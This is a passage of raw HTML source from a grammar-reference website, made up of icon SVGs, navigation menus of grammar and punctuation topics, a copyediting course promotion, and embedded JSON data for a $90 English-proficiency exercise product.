1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"></path></svg></span></a> 1105 1106</div> 1107 1108<div class="gb-container gb-container-b37333b5"> 1109 1110<p class="gb-headline gb-headline-ecc1cfbb login-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg">
1110<path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/">Log In</a></span></p> 1111 1112 1113 1114<p class="gb-headline gb-headline-9fafcb02 myaccount-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/" data-type="link" data-id="https://grammarist.com/customer-dashboard/">My Account</a></span></p> 1115 1116</div> 1117</section> 1118</div> <nav class="has-branding main-navigation nav-align-right has-menu-bar-items sub-menu-right" id="site-navigation" aria-label="Primary" itemtype="https://schema.org/SiteNavigationElement" itemscope> 1119 <div class="inside-navigation grid-container"> 1120 <div class="navigation-branding"><p class="main-title" itemprop="headline"> 1121 <a href="https://grammarist.com/" rel="home"> 1122 GRAMMARIST 1123 </a> 1124 </p></div> <button class="menu-toggle" aria-controls="generate-slideout-menu" aria-expanded="false"> 1125 <span class="gp-icon icon-menu-bars"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 96c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span><span class="mobile-menu">Menu</span> </button> 1126 <div id="primary-menu" class="main-nav"><ul id="menu-main-menu-new" class=" menu sf-menu"><li id="menu-item-89785" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89785"><a href="https://grammarist.com/grammar/">Grammar<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1127<ul class="sub-menu"> 1128 <li id="menu-item-89786" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89786"><a href="https://grammarist.com/parts-of-speech/">Parts of Speech<span role="presentation" class="dropdown-menu-toggle">
1128<span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span></span></a> 1129 <ul class="sub-menu"> 1130 <li id="menu-item-89787" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89787"><a href="https://grammarist.com/grammar/nouns/">Nouns</a></li> 1131 <li id="menu-item-89788" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89788"><a href="https://grammarist.com/grammar/pronouns/">Pronouns</a></li> 1132 <li id="menu-item-89789" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-has-children menu-item-89789"><a href="https://grammarist.com/grammar/verbs/">Verbs<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span></span></a> 1133 <ul class="sub-menu"> 1134 <li id="menu-item-89790" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89790"><a href="https://grammarist.com/grammar/verb-tenses/">Verb Tenses</a></li> 1135 </ul> 1136</li> 1137 <li id="menu-item-89791" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89791"><a href="https://grammarist.com/grammar/adjectives/">Adjectives</a></li> 1138 <li id="menu-item-89792" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89792"><a href="https://grammarist.com/grammar/adverbs/">Adverbs</a></li> 1139 <li id="menu-item-89793" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89793"><a href="https://grammarist.com/grammar/conjunctions/">Conjunctions</a></li> 1140 <li id="menu-item-89794" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89794"><a href="https://grammarist.com/grammar/prepositions/">Prepositions</a></li> 1141 <li id="menu-item-89795" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89795"><a href="https://grammarist.com/grammar/what-is-a-determiner/">Determiners</a></li> 1142 <li id="menu-item-89796" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89796"><a href="https://grammarist.com/grammar/interjections/">Interjections</a></li> 1143 </ul> 1144</li> 1145 <li id="menu-item-89797" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89797"><a href="https://grammarist.com/writing-tools/best-grammar-checker/">Best Grammar Checkers</a></li> 1146 <li id="menu-item-89798" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89798"><a href="https://grammarist.com/grammar/grammar-errors-mistakes-examples/">Common Grammar Mistakes</a></li> 1147 <li id="menu-item-89799" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89799"><a href="https://grammarist.com/style/">Style</a></li> 1148</ul> 1149</li> 1150<li id="menu-item-89800" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89800"><a href="https://grammarist.com/punctuation-marks/">Punctuation<span role="presentation" class="dropdown-menu-toggle">
1150<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1151<ul class="sub-menu"> 1152 <li id="menu-item-89801" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89801"><a href="https://grammarist.com/grammar/period/">Period</a></li> 1153 <li id="menu-item-89802" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89802"><a href="https://grammarist.com/grammar/question-marks/">Question Mark</a></li> 1154 <li id="menu-item-89803" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89803"><a href="https://grammarist.com/grammar/exclamation-point/">Exclamation Point</a></li> 1155 <li id="menu-item-89804" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89804"><a href="https://grammarist.com/grammar/commas/">Comma</a></li> 1156 <li id="menu-item-89805" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89805"><a href="https://grammarist.com/grammar/colon/">Colon</a></li> 1157 <li id="menu-item-89806" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89806"><a href="https://grammarist.com/grammar/semicolon/">Semicolon</a></li> 1158 <li id="menu-item-89807" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89807"><a href="https://grammarist.com/grammar/quotation-marks/">Quotation Marks</a></li> 1159 <li id="menu-item-89808" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89808"><a href="https://grammarist.com/grammar/apostrophe/">Apostrophe</a></li> 1160 <li id="menu-item-89809" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89809"><a href="https://grammarist.com/grammar/hyphens/">Hyphen</a></li> 1161 <li id="menu-item-89810" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89810"><a href="https://grammarist.com/grammar/en-dash/">En Dash</a></li> 1162 <li id="menu-item-89811" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89811"><a href="https://grammarist.com/grammar/emdash/">Em Dash</a></li> 1163 <li id="menu-item-89812" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89812"><a href="https://grammarist.com/grammar/parentheses/">Parentheses</a></li> 1164 <li id="menu-item-89813" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89813"><a href="https://grammarist.com/punctuation/curly-braces-brackets/">Curly Braces</a></li> 1165 <li id="menu-item-89814" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89814"><a href="https://grammarist.com/grammar/virgule/">Slash</a></li> 1166</ul> 1167</li> 1168<li id="menu-item-89815" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89815"><a href="https://grammarist.com/vocabulary/">Vocabulary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1169<ul class="sub-menu"> 1170 <li id="menu-item-89816" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89816"><a href="https://grammarist.com/usage/">Usage</a></li> 1171 <li id="menu-item-89817" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89817"><a href="https://grammarist.com/idiom/">Idioms</a></li> 1172 <li id="menu-item-89818" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89818"><a href="https://grammarist.com/proverb/">Proverbs</a></li> 1173 <li id="menu-item-89819" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89819"><a href="https://grammarist.com/category/phrase/">Phrases</a></li> 1174 <li id="menu-item-89820" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89820"><a href="https://grammarist.com/acronyms/">Acronyms</a></li> 1175 <li id="menu-item-89821" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89821"><a href="https://grammarist.com/mondegreens/">Mondegreens</a></li> 1176 <li id="menu-item-89822" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89822"><a href="https://grammarist.com/eggcorns/">Eggcorns</a></li> 1177</ul> 1178</li> 1179<li id="menu-item-89823" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89823"><a href="https://grammarist.com/spelling/">Spelling<span role="presentation" class="dropdown-menu-toggle">
1179<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1180<ul class="sub-menu"> 1181 <li id="menu-item-89824" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89824"><a href="https://grammarist.com/tricky-hard-words-to-spell/">Hard Words to Spell</a></li> 1182 <li id="menu-item-89825" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89825"><a href="https://grammarist.com/compounds/">Compound Words</a></li> 1183 <li id="menu-item-89826" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89826"><a href="https://grammarist.com/homophones/">Homophones</a></li> 1184 <li id="menu-item-89827" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89827"><a href="https://grammarist.com/category/homonyms/">Homonyms</a></li> 1185 <li id="menu-item-89828" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89828"><a href="https://grammarist.com/heteronyms/">Heteronyms</a></li> 1186</ul> 1187</li> 1188<li id="menu-item-89829" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-89829"><a href="https://grammarist.com/category/writing/">Writing<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a> 1189<ul class="sub-menu"> 1190 <li id="menu-item-89830" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89830"><a href="https://grammarist.com/category/editing/">Editing</a></li> 1191 <li id="menu-item-89831" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89831"><a href="https://grammarist.com/category/writing-tools/">Writing Tools</a></li> 1192</ul> 1193</li> 1194<li id="menu-item-96816" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-96816"><a href="https://grammarist.com/proofreading-editing-services/">Proofreading Services</a></li> 1195</ul></div><div class="menu-bar-items"> 1196<a class="gb-button gb-button-9892365d gb-button-text hide-on-mobile" href="https://grammarist.com/store">Store</a> 1197 <span class="menu-bar-item"> 1198 <a href="#" role="button" aria-label="Open search" aria-haspopup="dialog" aria-controls="gp-search" data-gpmodal-trigger="gp-search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span></a> 1199 </span> 1200 </div> </div> 1201 </nav> 1202 1203 <div class="site grid-container container hfeed" id="page"> 1204 <div class="site-content" id="content"> 1205 1206 <div class="content-area" id="primary"> 1207 <main class="site-main" id="main"> 1208 1209<article id="post-108520" class="post-108520 page type-page status-publish infinite-scroll-item grow-content-body" itemtype="https://schema.org/CreativeWork" itemscope> 1210 <div class="inside-article"> 1211 1212 <div class="entry-content" itemprop="text"> 1213 <span id="dpsp-post-content-markup" data-image-pin-it="true"></span><div class="gb-container gb-container-df72bc56"> 1214<div class="gb-container gb-container-2fc5b5ef"> 1215<div class="gb-container gb-container-b6706725"> 1216<div class="gb-grid-wrapper gb-grid-wrapper-3ce32d4f"> 1217<div class="gb-grid-column gb-grid-column-01509a69"><div class="gb-container gb-container-01509a69"> 1218 1219<p class="gb-headline gb-headline-95ef6b19 gb-headline-text">Best Selling Course:</p> 1220 1221 1222 1223<h1 class="gb-headline gb-headline-57eb9562 gb-headline-text">Breakthrough Copyediting and Proofreading</h1> 1224 1225 1226 1227<p class="wp-block-paragraph">Profit from Precision: Enhance your editing skills and discover how to earn with every meticulous edit. Start your profitable editing journey now!</p> 1228 1229 1230<div class="gb-container gb-container-07080c07"> 1231 1232<a class="gb-button gb-button-f1e02b41 gb-button-text" href="https://grammarist.com/products/breakthrough-copyediting-and-proofreading"><strong>Learn More</strong></a> 1233 1234</div> 1235</div></div> 1236 1237<div class="gb-grid-column gb-grid-column-9471f60b"><div class="gb-container gb-container-9471f60b"> 1238 1239<figure class="gb-block-image gb-block-image-6e351467"><img fetchpriority="high" decoding="async" width="1820" height="1024" class="gb-image gb-image-6e351467" src="https://grammarist.com/wp-content/uploads/image-19.png" alt="image 19" title="image-19.png" srcset="https://grammarist.com/wp-content/uploads/image-19.png 1820w, https://grammarist.com/wp-content/uploads/image-19-300x169.png 300w, https://grammarist.com/wp-content/uploads/image-19-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/image-19-768x432.png 768w, https://grammarist.com/wp-content/uploads/image-19-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/image-19-600x338.png 600w" sizes="(max-width: 1820px) 100v
1239w, 1820px"></figure> 1240 1241</div></div> 1242</div> 1243</div> 1244</div> 1245</div> 1246 1247<div 1248 style="margin-left:0px;margin-right:0px" class="alignwide wp-block-surecart-product-list is-layout-flow wp-container-surecart-product-list-is-layout-4ddb2dc5 wp-block-surecart-product-list-is-layout-flow" data-wp-context='{"urlPrefix":"products","products":[{"id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cp\u003EEnglish-Proficciency Exercise Vault\u003C\/p\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":9000,"min_price_amount":9000,"prices_count":1},"name":"Grammarist English-Proficiency Exercise Vault","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"grammarist-pdf-vault","solicit_reviews":true,"stock_enabled":false,"product_group":null,"image_url":null,"created_at":1734438687,"updated_at":1778394969,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9000,"archived":false,"currency":"usd","current_version":true,"full_amount":9000,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438951,"updated_at":1734438951,"display_amount":"$90","converted_amount":90,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91"}]},"bundle_items":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/bundle_items?bundle_product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"post":{"ID":108539,"post_author":"307024","post_date":"2024-12-17 06:31:27","post_date_gmt":"2024-12-17 12:31:27","post_content":"","post_title":"Grammarist English-Proficiency Exercise Vault","post_excerpt":"\u003Cp\u003EEnglish-Proficciency Exercise Vault\u003C\/p\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarist-pdf-vault","to_ping":"","pinged":"","post_modified":"2026-09-21 00:11:23","post_modified_gmt":"2026-09-21 06:11:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108539","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":true,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/grammarist-pdf-vault","permalink":"https:\/\/grammarist.com\/products\/grammarist-pdf-vault\/","is_published":true,"page_title":"Grammarist English-Proficiency Exercise Vault","meta_description":"\u003Cp\u003EEnglish-Proficciency Exercise Vault\u003C\/p\u003E","in_stock":true,"active_prices":[{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9000,"archived":false,"currency":"usd","current_version":true,"full_amount":9000,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438951,"updated_at":1734438951,"display_amount":"$90","converted_amount":90,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"has_variable_components":false,"bundle_variable_component_ids":[],"featured_image":{"ID":84073,"post_author":"305970","post_date":"2023-10-12 12:11:17","post_date_gmt":"2023-10-12 18:11:17","post_content":"","post_title":"Grammarist-Mockups-Tripwire-page---darker-1-","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarist-mockups-tripwire-page-darker-1-1-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:18","post_modified_gmt":"2023-10-12 18:11:18","post_content_filtered":"","post_parent":14746,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84073,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9000,"archived":false,"currency":"usd","current_version":true,"full_amount":9000,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438951,"updated_at":1734438951,"display_amount":"$90","converted_amount":90,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f